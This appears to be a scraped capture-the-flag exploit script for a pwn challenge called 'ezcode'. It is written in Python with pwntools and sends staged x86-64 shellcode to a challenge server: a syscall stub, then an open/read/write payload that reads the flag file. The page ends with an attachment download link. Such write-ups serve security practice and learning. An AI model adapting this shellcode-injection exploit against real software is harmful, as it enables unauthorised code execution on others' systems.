io()
pwn()

ezcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
context.update(os = 'linux', arch = 'amd64')
context.log_level = 'debug'
binary = './vuln'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
libc = ELF('./libc.so.6', checksec=False)
host = ''
port = ''
p = remote("pwn-b624be229e.challenge.xctf.org.cn", 9999, ssl=True)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')



shellcode: bytes = asm(
f"""
mov dx, 0x7
mov ax, 0xa
xchg edi, r15d
tag:
syscall
xor eax, eax
xor edi, edi
xchg esi, ecx
jmp tag
""")

shellcode1: bytes = asm(
f"""
xor edx, r11d
xor eax, eax
syscall
"""
)

def pwn():
data = b'{"shellcode":"' + shellcode.hex().encode() + b'"}'

# gdb.attach(p, "b *$rebase(0x18a6)")
sla(b"input:\n", data)
# pause()

sleep(0.2)
sa(b"loaded!", shellcode1)

pay = b'\x90'*0x10 + asm('mov rsp, 0x9998700')
orw = shellcraft.open("./flag")
orw += shellcraft.read(3, 0x9998300, 0x30)
orw += shellcraft.write(1, 0x9998300, 0x30)

# pause()
sleep(0.2)
s(pay + asm(orw))

io()
pwn()

部分附件链接:

https://pan.baidu.com/s/1PtZF1rt57DoFSteGMkiHUA?pwd=lpq7